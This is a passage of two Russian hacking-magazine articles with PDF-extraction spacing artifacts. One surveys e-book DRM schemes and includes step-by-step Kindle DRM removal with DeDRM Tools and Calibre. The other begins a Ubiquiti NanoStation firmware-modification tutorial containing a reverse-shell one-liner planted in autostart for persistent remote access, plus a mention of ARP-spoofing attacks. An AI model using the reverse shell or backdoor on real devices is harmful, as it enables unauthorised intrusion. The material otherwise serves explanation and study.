еще  в  Acrobat  Reader  4.05,  и  пер вым  таким модулем  стал  Acrobat Web Buy.
Работа модуля была осно вана на тес ном вза имо дей ствии меж ду кли ент ским
устрой ством и сер вером.

Acrobat Reader 4.05

Что про исхо дило при попыт ке открыть защищен ную кни гу? Модуль отправ лял
зап рос на сер вер DRM, который, собс твен но, и отве чал за управле ние пра ‐
вами.  На  сер вер  переда валась  информа ция  о  покуп ке  докумен та  и  иден ‐
тифика тор  вычис литель ной  сре ды,  с  которой  делал ся  зап рос.  В  качес тве
иден тифика тора  мож но  было  исполь зовать  CPUID,  серий ный  номер  дис ка
или  иден тифика тор  учет ной  записи  поль зовате ля  в  соот ветс тву ющем  при ‐
ложе нии  (это  важ но,  пос коль ку  имен но  такая  при вяз ка  исполь зует ся  в  сов ‐
ремен ных схе мах защиты).

Сер вер,  в  свою  оче редь,  про верял  легитим ность  дос тупа  к  докумен ту.
Если  про вер ка  была  успешно  прой дена,  сер вер  генери ровал  и  отправ лял
устрой ству файл в фор мате RMF (Rights Management Format), который пред ‐
став лял  собой  XML‐документ.  В  этом  фай ле  хра нил ся  крип тогра фичес кий
ключ для рас шифров ки PDF,  перечень раз решен ных  дей ствий и  сер тификат
для про вер ки лицен зии.

Для про вер ки лицен зии исполь зовалось два клю ча RSA дли ной 1024 бит:
один из них при над лежал изда телю, а вто рой исполь зовал ся Adobe в качес ‐
тве доверен ного сер тифика та, с помощью которо го под писывал ся откры тый
ключ изда теля.

Кро ме того, в RMF‐фай ле обя затель но при сутс тво вало хотя бы одно усло ‐
вие,  которое  тре бова лось  для  успешно го  дос тупа  к  докумен ту.  Таким  усло ‐
вием мог ла быть при вяз ка к учет ной записи (иден тифика тору) поль зовате ля,
CPUID или серий ный номер железа. Кро ме того, мож но было про верить дату,
до  нас тупле ния  которой  раз решал ся  дос туп  к  докумен ту.  Что  инте рес но,
усло вия  мож но  было  ком биниро вать  с  помощью  логичес ких  опе раций
AND и OR, что поз воляло пра вооб ладате лю, к при меру, сда вать PDF в арен ду
на опре делен ный срок.

Сис тема  защиты  была  пос тро ена  таким  обра зом,  что  соз дать  защищен ‐
ный  RMF‐файл  (а  зна чит —  и  защищен ную  элек трон ную  кни гу)  без  учас тия
Adobe было невоз можно (вспом ним про вто рой ключ RSA). Зато, если в наши
руки попадал RMF‐файл, извлечь из него ключ шиф рования было лег че лег ‐
кого.

Оче вид ная ошиб ка в реали зации DRM PDF Merchant в том, что ключ шиф ‐
рования переда вал ся кли енту в готовом виде, а про вер ка усло вий была ско ‐
рее  фор маль ностью,  которой  занима лась  та  или  иная  прог рам мная  реали ‐
зация. Рас шифро вать сам документ мож но было очень лег ко, прос то вытащив
ключ  из  RMF‐фай ла.  Вся  защита  стро илась  на  пред положе нии,  что  взлом ‐
щику будет лень возить ся с защитой. В целом сис тему PDF Merchant нель зя
счи тать надеж ной сис темой DRM.

ADOBE DRM (EBX)
Бо лее све жая реали зация от Adobe — защита элек трон ных книг по про токо лу
Electronic Book Exchange  (EBX),  который раз рабаты вал ся орга низа цией EBX
Workgroup. Идея здесь в том, что при акти вации при ложе ния для чте ния элек ‐
трон ных  книг  генери рует ся  пара  асим метрич ных  клю чей.  Откры тый  ключ
регис три рует ся  на  сер вере,  а  сек ретный  сох раня ется  на  устрой стве  поль ‐
зовате ля. При покуп ке лицен зии читал ка получа ет так называ емый ваучер —
XML‐файл,  в  котором  содер жится  ключ  докумен та.  Этот  ключ  шиф рует ся
с помощью откры того клю ча поль зовате ля. Кро ме того, в вауче ре содер жится
спи сок  прав  дос тупа  к  докумен ту  и  информа ция  для  про вер ки  под линнос ти
вауче ра.

В этой схе ме для рас шифров ки элек трон ной кни ги нужен был дос туп к сек ‐
ретно му клю чу поль зовате ля (у самого поль зовате ля дос тупа к нему не было,
толь ко  само  при ложе ние  мог ло  извлечь  ключ).  При чем  сам  ключ  допол ‐
нитель но шиф ровал ся с помощью аппа рат ных иден тифика торов устрой ства,
что  при води ло  к  утра те  лицен зий  при  сме не  устрой ства.  Для  обхо да  этой
проб лемы был пре дус мотрен допол нитель ный спо соб дос тупа к сек ретно му
клю чу, не завися щий от иден тифика торов обо рудо вания. Одна ко при исполь ‐
зовании  это го  спо соба  иден тифика тор  мож но  было  доволь но  лег ко  вычис ‐
лить,  пос ле  чего  сек ретный  ключ  поль зовате ля  мож но  было  вос ста новить
и получить неог раничен ный дос туп ко всем куп ленным кни гам.

На деж ность  и  этой  модели  DRM  неидеаль на.  Нас коль ко  нам  извес тно,
в  Adobe  eBook  Reader  не  было  сде лано  никаких  зна читель ных  тех ничес ких
улуч шений для сни жения уяз вимос ти DRM.

Как работа ет защита EBX

УЯЗВИМОСТЬ DRM В ФОРМАТЕ PDF
Во обще, обес печить безопас ность книг в фор мате PDF ока залось дос таточ ‐
но  слож но.  В  клас сичес кой  реали зации  DRM  от  Adobe  при ложе ние  делало
зап рос на сер вер, который про верял легаль ность зап роса, а в ответ получа ло
готовый ключ для рас шифров ки докумен та. Нет рудно догадать ся, что вся схе ‐
ма лег ко мог ла быть взло мана прос тым перех ватом клю ча.

В Acrobat Reader 6 была при мене на новая схе ма, которая давала модулям
защиты  воз можность  решать,  каким  спо собом  будет  зашиф рован  тот
или  иной фраг мент  PDF‐докумен та.  Перех ват  клю ча  работать  перес тал,  так
как меж ду узла ми защиты ключ уже не переда ется. Одна ко здесь есть дру гая
проб лема. Начиная с шес той вер сии стан дар тной читал кой элек трон ных книг
выс тупа ет Adobe Acrobat Reader (а не защищен ный Adobe eBook Reader).

Acrobat Reader 6.0

При этом в Acrobat Reader есть под дер жка модулей рас ширения. И если соз ‐
дать  свой  модуль  рас ширения  и  сде лать  так,  что бы  он  был  заг ружен
в момент, ког да откры вает ся защищен ная кни га, то из это го модуля (который
работа ет  в  кон тек сте  основно го  про цес са  Acrobat  Reader)  мож но  получить
пол ный дос туп к содер жимому кни ги.

А  даль ше  начина ется  игра  в  кош ки‐мыш ки.  В  Adobe  при ложи ли  уси лия
для того, что бы пос торон ние модули не работа ли, ког да поль зователь чита ет
защищен ные  кни ги.  С  дру гой  сто роны,  сама  воз можность  запус ка  модулей
с  под дель ной  циф ровой  под писью  —  хоть  и  в  «несер тифици рован ном»
режиме —  в  при ложе нии  сох раня ется.  Даль нейшие шаги  взлом щика  пос ле
запус ка такого модуля — «убе дить» Acrobat Reader в том, что несер тифици ‐
рован ный модуль на самом деле впол не сер тифици рован.

Впро чем,  раз витие  DRM  на  этом  не  оста нови лось:  есть  фор мат  Adobe
Digital Editions Adept DRM, который под держи вает ся боль шинс твом элек трон ‐
ных читалок за исклю чени ем Kindle (и тре бует регис тра ции устрой ства), есть
Adobe Digital Editions with eReader DRM, которая была раз работа на для фор ‐
мата  eReader  ebook  (изна чаль но  для  Fictionwise,  сегод ня —  часть  Barnes  &
Noble) и поз днее перене сена в Adobe Digital Editions при сот рудни чес тве B&N
и Adobe. Кста ти, B&N до сих пор про дает кни ги с защитой eReader DRM.

DRM ПО-АМАЗОНСКИ
Amazon, пожалуй, самый круп ный на сегод няшний день магазин,  тор гующий
элек трон ными  кни гами  (и  не  толь ко).  У  ком пании  есть  собс твен ная  эко сис ‐
тема  для  дос тупа  к  кон тенту:  это  и  читал ки  Kindle  на  элек трон ных  чер нилах
(одни из луч ших по соот ношению цена — качес тво), и план шеты Fire, и при ‐
ложе ние  Kindle,  дос тупное  для  всех  акту аль ных  плат форм —  от  дес ктоп ной
Windows до iOS и Android.

При этом у читалок от Amazon есть важ ное огра ниче ние: они прин ципи аль ‐
но не понима ют откры тые фор маты элек трон ных книг, такие как ePub или FB2.
Толь ко MOBI и AZW, с DRM‐защитой или без нее.

Amazon Kindle

Ме ханизм  покуп ки  и  пот ребле ния  кон тента  пол ностью  отла жен.  Дос таточ но
выб рать нуж ную кни гу и нажать на кноп ку «Купить», как кни га тут же появит ся
в  обла ке  и  ста нет  дос тупна  на  всех  устрой ствах  поль зовате ля  и  чле нов  его
семьи. Имен но для это го, а не для чего‐то дру гого в линей ке читалок Kindle
появил ся  сна чала  Wi‐Fi,  а  потом  и  бес плат ный  дос туп  в  интернет  через
сотовую связь.

До недав него вре мени реали заци ей DRM Amazon осо бо не замора чивал ‐
ся: был (ста рый) фор мат MOBI, потом появил ся более инте рес ный AZW.

Кни ги  в  фор мате  Kindle  под держи вают  DRM;  при вяз ка  идет  к  учет ной
записи  поль зовате ля  на  Amazon.  В  при ложе ниях  Kindle  для  iOS  кни ги шиф ‐
руют ся  исклю читель но  крип тогра фичес ким  клю чом,  который  генери рует ся
на осно ве дан ных учет ной записи поль зовате ля. Став ка здесь дела ется на то,
что извлечь информа цию из iPhone или iPad дос таточ но слож но.

Ес ли же говорить о собс твен ных читал ках Amazon на E Ink линей ки Kindle,
то  при вяз ка  идет  как  к  серий ному  номеру  устрой ства,  так  и  к  уни каль ному
иден тифика тору  PID,  который  прис ваивает ся  при  регис тра ции.  Соот ветс ‐
твен но,  ключ  для  рас шифров ки  ска чан ных  на  такие  устрой ства  книг  мож но
вычис лить на осно ве серий ного номера Kindle и его PID. Пос ледний мож но
извлечь  с  помощью  инс тру мен та  DeDRM  Tools  (ссыл ка —  ниже),  выпол нив
сле дующий скрипт и передав в качес тве парамет ра серий ный номер устрой ‐
ства (само устрой ство Kindle дол жно быть в этот момент под клю чено к компь ‐
юте ру):

$ kindlepid.py <Kindle Serial Number>

При ложе ние  для Windows  так же  исполь зует шиф рование  на  осно ве  обще го
для  учет ной  записи  клю ча. Одна ко  извлечь  кни ги  из  компь юте ра  с Windows
гораз до про ще,  чем из  iPad, поэто му Amazon исполь зует  вто рой слой шиф ‐
рования, на сей раз с отдель ным сес сион ным клю чом, уни каль ным для каж ‐
дой кни ги. С точ ки зре ния крип тогра фии реали зация впол не на уров не, и рас ‐
шифро вать  кни ги, не зная клю ча, невоз можно. Но имен но как сис тема DRM
решение  не  выдер жива ет  никакой  кри тики:  оба  клю ча  все  так  же  хра нят ся
на  компь юте ре,  и  их  извле чение —  дело  тех ники.  Собс твен но,  это  и  было
про дела но раз работ чиками: скрип ты для Python дос тупны и работос пособ ны
(по край ней мере для ста рых фор матов MOBI и AZW).

Обой ти  защиту  DRM  для  фор матов  Kindle  не  сос тавля ет  осо бого  тру да.
Ниже — пошаго вая инс трук ция ( ).ори гинал
1. Ус танав лива ем на компь ютер при ложе ние Kindle Reader для Windows.
2. Ска чива ем DeDRM Tools с  .GitHub
3. Ус танав лива ем Calibre.
4. Ус танав лива ем  в  Calibre  пла гин  DeDRM_plugin.zip  из  пап ки
DeDRM_calibre_plugin.

5. Те перь мож но ска чать кни ги при помощи при ложе ния Kindle.
6. Да лее  прос то:  дос таточ но  перета щить  в  Calibre  кни ги  в  фор матах  AZW ‐
3  или  MOBI  из  пап ки  Докумен ты\\My  Kindle  Content.  DRM  будет  уда лен
авто мати чес ки.

7. Кни ги теперь мож но скон верти ровать в FB2, ePub или любой дру гой фор ‐
мат из под держи ваемых в Calibre.

При  желании  мож но  обой тись  и  без  Calibre,  вос поль зовав шись  ути литой
коман дной  стро ки,  или  поп росту  обра тить ся  к  услу гам одно го  из мно гочис ‐
ленных онлай новых сер висов. Как видишь, все прос то.

По хоже,  сло жив шаяся  ситу ация  в  чем‐то  перес тала  устра ивать  Amazon,
и в 2015 году ком пания раз работа ла новый фор мат элек трон ных книг. Фор ‐
мат получил наз вание KFX. Он исполь зует новую сис тему DRM‐защиты, обой ‐
ти которую раз работ чикам пока не уда лось.

Ес ли  при веден ные  выше  шаги  не  работа ют,  дело  может  быть  имен но
в  новом  фор мате  книг,  а  точ нее  —  в  вер сии  при ложе ния  Kindle,  которое
получи ло  воз можность  их  откры вать.  Начиная  с  вер сии  1.19  при ложе ние
Kindle ска чива ет кни ги в новом фор мате KFX, который пока не под держи вает ‐
ся инс тру мен том по сня тию DRM. Поможет откат до вер сии  . Воз ‐
можно,  пос ле  пере уста нов ки  при ложе ния  тебе  пот ребу ется  уда лить  все
ранее ска чан ные кни ги, вый ти из учет ной записи, вой ти в нее сно ва и заново
ска чать изда ния, защиту с которых ты хочешь снять.

Kindle 1.17

Впро чем,  спус тя  вре мя  ока залось,  что  стра хи  Amazon  понес ти  потери
от нелегаль ного копиро вания книг силь но пре уве личен ны, и фор мат KFX так
и не получил широко го рас простра нения. В нем дос тупны некото рые новые
кни ги,  где  исполь зуют ся  допол нитель ные  воз можнос ти  фор матиро вания,
пре дос тавля емые  новым  фор матом.  Одна ко  огромную  биб лиоте ку  из  уже
име ющих ся изда ний Amazon в новый фор мат перево дить не стал.

WWW

Най ти надеж ные источни ки информа ции о защите
книг  в  фор матах  для  Kindle  не  очень  прос то,
поэто му при ведем самые инте рес ные ссыл ки:
•Опи сание взло ма, скрип ты для извле чения клю ‐
чей и рас шифров ки книг (для ста рых вер сий)

•О DRM в  целом и  о  деталях  раз личных  реали ‐
заций в час тнос ти

•Скрип ты  для  сня тия  DRM  с  раз личных  фор ‐
матов элек трон ных книг

•Об щая  информа ция  по  защите  и  ее  сня тию,
пошаго вые инс трук ции

BARNES & NOBLE: ADOBE DIGITAL EDITIONS PROTECTION (ADEPT)
Вто рая по величи не сеть книж ных магази нов в США исполь зует фор мат ePub,
защищен ный  отно ситель но  све жей  схе мой  Adobe  Digital  Editions  (ADEPT).
Под робно  на  этой  схе ме  мы  оста нав ливать ся  не  будем,  любопытс тву ющих
отпра вим на сайт  ,  где при водит ся под робный ана лиз схе ‐
мы  и  выложе ны  скрип ты,  поз воля ющие  извлечь  соот ветс тву ющие  клю чи
и рас шифро вать элек трон ные кни ги.

i‐u2665‐cabbages

ADEPT исполь зует прос то  замеча тель ную  крип тогра фичес кую сис тему —
которая тем не менее не смог ла стать надеж ной схе мой DRM. Каж дая кни га
шиф рует ся  уни каль ным  клю чом  AES,  а  сам  ключ,  в  свою  оче редь,  зашиф ‐
рован  клю чом  RSA,  который  генери рует ся  на  осно ве  учет ных  дан ных  поль ‐
зовате ля  (а  точ нее,  его  email).  И  даже  ключ  RSA,  который  сох раня ется
на  компь юте ре  поль зовате ля,  допол нитель но  зашиф рован  с  помощью  оче ‐
ред ного клю ча при ложе ния. Лобовая ата ка на все эти клю чи совер шенно бес ‐
полез на, но зачем она нуж на, если ключ все рав но будет хра нить ся на компь ‐
юте ре?  Хакерам  пот ребова лось  отыс кать  сес сион ный  ключ,  с  помощью
которо го защищал ся ключ RSA, которым был зашиф рован ключ AES, которым
зашиф рованы кни ги. Зву чит слож но, но, если верить хакеру, взло мав шему эту
защиту, на прак тике раз верты вание всей цепоч ки было делом ско рее нуд ным,
чем слож ным.

Barnes & Noble Nook Simple Touch eBook Reader

DRM НЕ НУЖЕН
К  счастью,  далеко  не  все  кни гоиз датели  увле кают ся  защитой  DRM.  Так,
немец кие изда тели еще в 2015 году  , что наличие DRM толь ‐
ко меша ет про дажам, и отка зались от него в поль зу  так называ емо го соци ‐
аль ного DRM. К такому же выводу приш ли и мно гие незави симые изда тель ‐
ства — нап ример, бри тан ский изда тель PACKT Publishing, в котором мы опуб ‐
ликова ли нашу собс твен ную кни гу.

приш ли к выводу

В резуль тате сло жилась инте рес ная ситу ация: отка зать ся от про даж через
Amazon изда тели не могут, так как имен но через этот канал про дает ся боль ‐
ше все го экзем пля ров. При этом купить ту же самую кни гу непос редс твен но
на  сай те  изда теля  (или  в  одном  из  сто рон них  книж ных  магази нов)  мож но
по той же цене — но без DRM! Имен но так: я был при ятно удив лен тем, что
нашу  кни гу  мож но  купить  с  сай та  PACKT  Publishing  и  мгно вен но  получить
ссыл ки на ска чива ние  кни ги во всех воз можных фор матах — от ePub и PDF
(разуме ется, без DRM) до пред назна чен ного для Kindle фай ла .mobi.

Как  же  изда тели  кон тро лиру ют  пиратс тво?  А  никак.  От  «жес тко го»  DRM
изда тели перехо дят к полити ке, осно ван ной на джентль мен ском сог лашении
(полити ка  «чес тно го  сло ва»),  или  исполь зуют  так  называ емый  соци аль ный
DRM. На пос леднем пун кте оста новим ся под робнее.

В «соци аль ном DRM» от вык ладыва ния куп ленных книг в пуб личный дос туп
поль зовате лей  оста нав лива ют  циф ровые  водяные  зна ки  —  невиди мые
для  поль зовате ля,  но  поз воля ющие  изда телю  надеж но  отсле дить  про ‐
исхожде ние  «всплыв шего»  докумен та.  Такие  водяные  зна ки  мож но  встра ‐
ивать и в ePub, и в PDF, и в некото рые дру гие фор маты. Фак тичес ки  толь ко
наличие  водяных  зна ков  и  опа сение  того,  что  «прик роют  акка унт»,  и  слу жат
сдер жива ющим фак тором. И как ни стран но, это работа ет.

А ЧТО У НАС?
В нашей стра не исто ричес ки сло жилось так, что для элек трон ных книг наибо ‐
лее  популя рен  фор мат  FB2,  Fiction  Book  2.  Фор мат  откры тый,  осно ван
на XML, поз воля ет встра ивать дво ичные объ екты. Защитить кни ги в этом фор ‐
мате дос таточ но слож но.

Дру гой эле мент голово лом ки — отсутс твие сло жив шей ся инфраструк туры
тор говли  элек трон ными  кни гами  и  пол ное  отсутс твие  чего‐либо,  напоми ‐
нающе го эко сис тему уров ня Amazon, Kobo или Barnes & Noble. Ина че говоря,
магази ны  («Лит рес»,  «Приз рачные миры»,  «Цел люлоза»  и мно жес тво  дру гих
незави симых  магази нов  элек трон ных  книг)  вынуж дены  идти  одним  из  двух
путей:  или  пред лагать  кни ги  для  сво бод ного  ска чива ния  в  удоб ном
для покупа теля фор мате, или же про давать дос туп к сай ту, с которо го мож но
читать опла чен ную (но не куп ленную) кни гу в режиме онлайн.

Вто рой  вари ант — откро вен ное жлобс тво,  и  нам  он  неин тересен  по  той
при чине,  что  соз дает  мак сималь ные  неудобс тва  покупа телю,  зап латив шему
собс твен ные день ги за товар. А вот с пер вым спо собом сно ва есть вари анты.
Так, «Лит рес» про дает кни ги без видимых поль зовате лю модифи каций, а при
покуп ке  кни ги  на  «Приз рачных мирах»  во  вре мя  чте ния  при дет ся  пос тоян но
стал кивать ся с такими вот пре дуп режде ниями:

КНИГА КУПЛЕНА В ИНТЕРНЕТ‐МАГАЗИНЕ WWW.FEISOVET.RU
ПОКУПАТЕЛЬ: Oleg Afonin (aoleg@voicecallcentral.com)  ЗАКАЗ: #287253
385 / 09‐мар‐2017
КОПИРОВАНИЕ И РАСПРОСТРАНЕНИЕ ТЕКСТА ДАННОЙ КНИГИ В ЛЮБЫХ ЦЕЛЯХ 
ЗАПРЕЩЕНО!

Чес тно?  Раз дра жает.  Но  это  не  все!  Кро ме  Гроз ного  Пре дуп режде ния,
магазин рас став ляет в тек сте еще и такие мар керы:

#287253385 / 09‐мар‐2017

Ду маешь,  этим  идеи  раз работ чиков  такой  реали зации  «соци аль ного  DRM»
огра ничи лись? Как бы не так! Фан тазия бор цов за чис тоту автор ско го пра ва
неис тощима,  и  по  тек сту  раз бра сыва ется  то,  что  сами  раз работ чики,  веро ‐
ятно,  счи тают  водяны ми  зна ками:  слу чай ные пос ледова тель нос ти букв,  поз ‐
воля ющие  иден тифици ровать  укра ден ную  кни гу.  Нап ример,  читатель
в  середи не  пред ложения  может  нат кнуть ся  на  сло веч ко  вро де  «виздр»
или «ина ок». Что это, опе чат ка? Нет, эле мент защиты «соци аль ного DRM».

Са мое печаль ное, что смот реть на это при ходит ся в пер вую оче редь тому
читате лю,  который  чес тно  опла тил  покуп ку.  И  зна ешь  что?  Бесит.  Пожалуй,
самая неудач ная реали зация соци аль ного DRM, которую я ког да‐либо встре ‐
чал.  Боль ше  раз дра жают  толь ко  гра фичес кие  водяные  зна ки,  которые
выводят ся  в  некото рых  защищен ных  PDF  в  виде  полуп розрач ных  изоб ‐
ражений пря мо поверх тек ста.

ЗАКЛЮЧЕНИЕ
Мы  совер шили  обзорную  экскур сию  по  миру  DRM  в  элек трон ных  кни гах.
В одной статье невоз можно рас смот реть все фор маты — а их явно боль ше
того, о чем мы успе ли погово рить. Собс твен ная сис тема защиты есть у вто ‐
рого по величи не аме рикан ско го магази на Barnes & Noble, особ няком сто ит
Apple  с  собс твен ной  раз работ кой  iBooks,  есть  Google  Books,  есть  магазин
Kobo, который может пох вастать ся тем, что его плат форма сер тифици рова на
государс твен ными биб лиоте ками мно гих англо языч ных стран (мож но прий ти
со сво ей читал кой и получить дос туп к любой кни ге из циф рового фон да биб ‐
лиоте ки — но толь ко на то вре мя, пока читатель физичес ки находит ся в ней).
Все  это  тоже  инте рес но,  но  с  точ ки  зре ния  тех ничес кой  реали зации  мало
отли чает ся от уже рас смот ренных вари антов.

Вы вод  же  мож но  сде лать  такой.  Методы  защиты  DRM  для  элек трон ных
книг  сущес тву ют,  и  они  в  целом  работа ют  для  подав ляюще го  боль шинс тва
обыч ных  поль зовате лей  (что,  собс твен но,  и  сос тавля ет  их  основную  цель).
Но  при  желании  защиту  мож но  обой ти,  и  это  даже  не  слиш ком  слож но.
При  этом  единс твен ный,  кто  прес леду ет  хакеров  с  помощью  DMCA,  —
это ком пания Adobe, извес тный сутяж ник. Все осталь ные ком пании (в пер вую
оче редь Amazon) подоб ными вещами не занима ются.

В  то  же  самое  вре мя  заметен  и  про тиво полож ный  тренд:  пол ный  отказ
от шиф рования  и жес тко го  кон тро ля DRM и  переход  либо  на  «джентль мен ‐
ское  сог лашение»,  либо  на  так  называ емый  соци аль ный DRM,  при  котором
в  кон тент  встра ивают ся  более  или  менее  замет ные  водяные  зна ки,  иден ‐
тифици рующие лич ность покупа теля.

http://www.nytimes.com/2011/05/20/technology/20amazon.html
http://www.bbc.com/news/technology-19148146
http://fortune.com/2015/09/24/ebook-sales/
http://fortune.com/2016/07/11/ebook-amazon-publishers/
https://www.ereader-palace.com/calibre-drm-removal-plugins-download-use/
https://github.com/apprenticeharper/DeDRM_tools/
https://s3.amazonaws.com/kindleforpc/44183/KindleForPC-installer-1.17.44183.exe
http://i-u2665-cabbages.blogspot.de/
https://apprenticealf.wordpress.com/2011/01/13/ebooks-formats-drm-and-you-%E2%80%94-a-guide-for-the-perplexed/
https://apprenticealf.wordpress.com/2011/01/14/windows-python-ebooks-and-drm/
https://github.com/apprenticeharper/DeDRM_tools/blob/master/FAQs.md
http://i-u2665-cabbages.blogspot.de/2009/02/circumventing-adobe-adept-drm-for-epub.html
http://www.thebookseller.com/futurebook/certain-digital-undoing-drm-germany-309359
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ВЗЛОМ

NanoStation M2 фир мы Ubiquiti — это все погод ная точ ка дос ‐
тупа,  пред назна чен ная  для  пос тро ения  бес про вод ных  мос ‐
тов  на  рас сто яние  десять  и  более  километ ров.  Может
работать  в  режиме  ради омос та,  точ ки  дос тупа,  репите ра.
В  качес тве  про цес сора  в  ней  исполь зует ся  чип  Atheros
AR2315 (MIPS 4KC, 180 МГц). Име ет на бор ту 32 Мбайт опе ‐
ратив ной  памяти  и  8  Мбайт  флеш.  То  есть  это,  по  сути,
мини‐компь ютер, пос тро енный на архи тек туре MIPS, с уста ‐
нов ленным Linux на бор ту. А это зна чит, что мож но модифи ‐
циро вать  его  под  свои  нуж ды.  Каким  обра зом?  Об  этом
и погово рим.

ЗАЧЕМ ОНО НАДО?
Кто‐то  может  с  самого  начала  небезос нователь но  задать  воп рос:  а  зачем,
собс твен но,  ковырять  про шив ку? Ведь мож но  взять  готовый SDK и  соб рать
свою про шив ку с прак тичес ки любым набором прог рамм. Отве чу. Во‐пер вых,
ребята из Ubiquiti свер нули прог рамму по рас простра нению SDK, во‐вто рых,
при сбор ке SDK может воз никнуть куча проб лем (у меня, нап ример, так и не
получи лось  соб рать  работос пособ ную  вер сию  кас томной  про шив ки).  Ну
и в‐треть их,  как ни парадок саль но, модифи кация  готовой про шив ки  тре бует
минимум инс тру мен тов и вре мени.

Для  чего  вооб ще  это  все  может  понадо бить ся?  Для  добав ления
,  не  пре дус мотрен ной  базовой  про шив кой.  Нап ример,

для соз дания обратных тон нелей. Добавив в авто заг рузку вот это:
функциональности

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh ‐i 2>&1 | telnet 
remoteip remoteport > /tmp/f

где   — адрес,  куда необ ходимо под клю чить ся,   — уда ‐
лен ный  порт,  мож но  получить  дос туп  к  устрой ству  даже  пос ле  сбро са
или  сме ны  логина/пароля.  Для  добав ления  вся ких  ска неров  (я  успешно
добавил knocker, это, конеч но, не Nmap, но все же), спу феров (соб рав тот же
arpspoof, мож но реали зовать ата ку man in the middle, тем более что tcpdump
уже  име ется  в  базовой  про шив ке)  и  про чих  пре лес тей  (нап ример,  соб рав
OpenVPN, мож но получить дос туп к сети, где сто ит наша желез ка, из любого
мес та). В общем, при желании и наличии фан тазии мож но сде лать из Nano‐
Station M2 отличный инс тру мент для взло ма.

remoteip remoteport

ИНСТРУМЕНТЫ
Я про водил все экспе римен ты на про шив ке вер сии 5.5.4, 6‐я  вер сия име ет
нез начитель ные отли чия, но ана логич ным обра зом мож но изме нить и ее. Все
дей ствия  совер шались  в  вир туаль ной  машине,  на  которой  был  уста нов лен
Arch Linux. Преж де все го для работы нам понадо бит ся binwalk. В Arch’e ста ‐
вим так:  . Так же необ ходим кросс‐ком пилятор для архи ‐
тек туры MIPS. Тот, который исполь зовал я, можешь взять  . Его нуж но
рас паковать в удоб ный каталог. У меня он лежит в 

.  Ну  и  собс твен но  сам  файл  про шив ки 
.  Еще  пот ребу ются  ути литы  для  работы  со  squashfs,  а  так же

какой‐нибудь  hex‐редак тор.  Я  исполь зовал  hexedit,  уста новить  его  прос то:
. Да, для вычис ления кон троль ных сумм

я пос тавил пакет perl‐archive‐zip:  ,  в нем есть
скрипт crc 32, он и будет нам нужен. Итак, нач нем.

pacman ‐S binwalk
от сюда

/root/toolchains/cross‐
compiler‐mips XM‐v5.5.4.build ‐
16501.bin

pacman ‐S squashfs‐tools hexedit
pacman ‐S perl‐archive‐zip

ОБЩЕЕ СТРОЕНИЕ ПРОШИВКИ
Пе ред  тем  как  что‐то менять,  озна комим ся  с  внут ренним  устрой ством  про ‐
шив ки.  В  общем  слу чае  она  пред став ляет  собой  бинар ный  файл,  который
сос тоит из сле дующих час тей:
1. Ubiquiti  firmware  header —  заголо вок  про шив ки.  Содер жит  стро ку  с  вер ‐
сией про шив ки.

2. Ubiquiti partition header — заголо вок пер вого раз дела (PARTu‐boot). Здесь
содер жится  основная  информа ция  о  раз деле  u‐boot:  раз мер,  адре са
памяти для заг рузки, мак сималь ный раз мер и  так далее. Сто ит отме тить,
что фор мат заголов ков раз делов один и тот же, меня ются толь ко зна чения
парамет ров  для  соот ветс тву ющих  раз делов  (име на,  раз меры,  адре са
памяти).

3. Заг рузчик u‐boot — собс твен но сам заг рузчик.
4. Ubiquiti  partition  header —  заголо вок  вто рого  раз дела  (PARTkernel).  Опи ‐
сыва ет раз дел PARTkernel (см. п. 2).

5. Об раз  ядра,  сжа тый  алго рит мом  LZMA.  В  основном  исполь зует ся  ядро
вер сии 2.6.х.

6. Ubiquiti  partition  header —  заголо вок  треть его  раз дела  (PARTrootfs). Опи ‐
сание раз дела с фай ловой сис темой.

7. Об раз  фай ловой  сис темы  squashfs,  сжа тый  алго рит мом  LZMA.  С  этим
обра зом мы и будем работать.

8. Дан ные,  сжа тые  gzip.  Они  нам  не  понадо бят ся,  поэто му  опус тим  под ‐
робнос ти, что они собой пред став ляют.

Ба зовая информа ция о стро ении про шив ки была получе на  .от сюда

ПОЕХАЛИ
Для  даль нейше го  ана лиза  про шив ки  исполь зовал ся  binwalk.  Он  под держи ‐
вает  раз личные  виды  ана лиза,  в  том  чис ле  иден тифика цию  исполня емо го
кода, энтро пичес кий ана лиз и пос тро ение гра фиков. Под робнее мож но про ‐
читать на офи циаль ном   или на прос торах интерне та. Итак, перехо дим
в каталог, куда положи ли про шив ку,  , и запус каем binwalk:

сай те
cd /root/ubnt

binwalk XM‐v5.5.4.build16501.bin

По каза ния binwalk

Тут  надо  отме тить,  что  binwalk  нем ного  неп равиль но  показы вает  сме щения
заголов ков  раз делов  (Ubiquiti  partition  header).  К  этим  сме щени ям  необ ‐
ходимо добавить 8 байт  (4 бай та crc 32 пре дыду щей час ти и 4 бай та допол ‐
нение  ).  То  есть  сме щение  пер вого  partition  header’a  будет
не  260,  а  268,  соот ветс твен но  тре тий  partition  header  рас положен  по  сме ‐
щению 1232900. Выяс нил я это сле дующим обра зом. Копирую partition head‐
er в отдель ный файл:

0х00000000

dd if=XM‐v5.5.4.build16501.bin of=1.bin bs=1 count=56 skip=260

Этой  коман дой  соз даем файл    из  фай ла 
раз мером 56 байт ( ), про пус кая 260 байт от начала исходно го фай ‐
ла ( ), ключ   ука зыва ет dd, что исполь зовать нуж но раз мерность
в 1 байт. Далее смот рим на получив ший ся файл   hexdump’ом:

1.bin XM‐v5.5.4.build16501.bin
count=56

skip=260 bs=1
1.bin

hexdump ‐C 1.bin 

Прос матри ваем файл 1.bin с помощью hexdump’а

Мы  видим,  что  наз вание  сек ции,  в  дан ном  слу чае  PARTu‐boot,  идет  не  с
начала  фай ла,  а  со  сме щени ем  8  байт.  Получив  таким  же  обра зом  третью
сек цию partition header:

dd if=XM‐v5.5.4.build16501.bin of=1.bin bs=1 count=56 skip=1232892
hexdump ‐C 1.bin

так же  мож но  убе дить ся,  что  наз вание  начина ется  со  сме щени ем  8  байт.
Далее,  что бы  удос товерить ся,  что  пер вые  4  бай та  в  фай ле  1.bin  явля ются

  пре дыду щей  сек ции,  я  делал  так:  копиро вал  сек цию  Ubiquiti  firmware
header:
crc32

dd if=XM‐v5.5.4.build16501.bin of=2.bin bs=1 count=260

и счи тал ее crc:

crc32 2.bin

Со ответс твен но, вто рые 4 бай та — это допол нение (0х00000000). Итак, выяс ‐
нив  пра виль ные  сме щения  partition  header’ов,  мож но  при кинуть  при мер ную
струк туру про шив ки:

При мер ная струк тура про шив ки

Сле дует обра тить вни мание на сек цию Ubiquiti partition header (любую — фор ‐
